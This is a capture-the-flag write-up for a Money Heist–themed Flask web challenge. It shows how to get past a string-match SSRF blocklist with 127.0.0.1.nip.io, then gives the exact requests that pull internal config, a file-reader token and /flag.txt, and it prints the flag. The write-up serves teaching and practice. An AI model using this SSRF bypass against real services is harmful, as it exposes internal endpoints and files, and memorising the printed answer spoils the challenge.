Challenge: DEAD VAULT · CTF: Zer0d4yh31st CTF · Category: Web · Difficulty: Medium

Summary

A Money Heist–themed Flask app hides a flag split into three fragments behind a server-side URL fetcher. The fetcher blacklists localhost and 127.0.0.1 by string match, so a DNS-based bypass (127.0.0.1.nip.io) reaches the internal API and a privileged file-read endpoint to collect all three fragments.

Solution

Step 1: Recon & guest login

The login page leaks credentials in a visible HTML comment: guest / guest123. The /hints page (no auth required) reveals the attack map:

SoulClueMechanism
Tokyo“address begins with 127… path hidden inside itself”SSRF to internal API
El Profesor“machine confesses when you find its config”/internal-api/config
Berlin“token is the key, path is where stories end”file read /flag.txt

Step 2: SSRF blacklist bypass

/fetch blocks the strings localhost and 127.0.0.1. The service uses Python requests, which resolves DNS before connecting. 127.0.0.1.nip.io is not in the blocklist but resolves to 127.0.0.1, so the filter never fires.

1
2
3
Blocked:  http://localhost:5000/...          ← contains "localhost"
Blocked:  http://127.0.0.1:5000/...         ← contains "127.0.0.1"
WORKS:    http://127.0.0.1.nip.io:5000/...  ← resolves to 127.0.0.1 at connect time

The internal Flask server runs on port 5000 (confirmed via PORT=5000 in /proc/self/environ).

Step 3: Collect all three fragments

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Tokyo fragment — direct from internal API root
GET http://127.0.0.1.nip.io:5000/internal-api
{"tokyo_fragment":"Zer0d4yh31st{d34d_", "endpoints":["/health","/config","/corpse"], ...}

# Professor fragment + file-reader token — from config endpoint
GET http://127.0.0.1.nip.io:5000/internal-api/config
{"professor_fragment":"m3n_t3ll_", "file_reader_token":"79821ff136bdd3608ef68263993cafcf", ...}

# Berlin fragment — file read at /flag.txt using the token
GET http://127.0.0.1.nip.io:5000/internal/file?token=79821ff136bdd3608ef68263993cafcf&path=/flag.txt
{"berlin_fragment":"n0_t4l3s}", ...}

The .py extension is blocked by the file reader, but /flag.txt at the filesystem root is not. “Where stories end” = /flag.txt.

Combine: Zer0d4yh31st{d34d_ + m3n_t3ll_ + n0_t4l3s} = the flag.

Flag

1
Zer0d4yh31st{d34d_m3n_t3ll_n0_t4l3s}

“Dead men tell no tales.”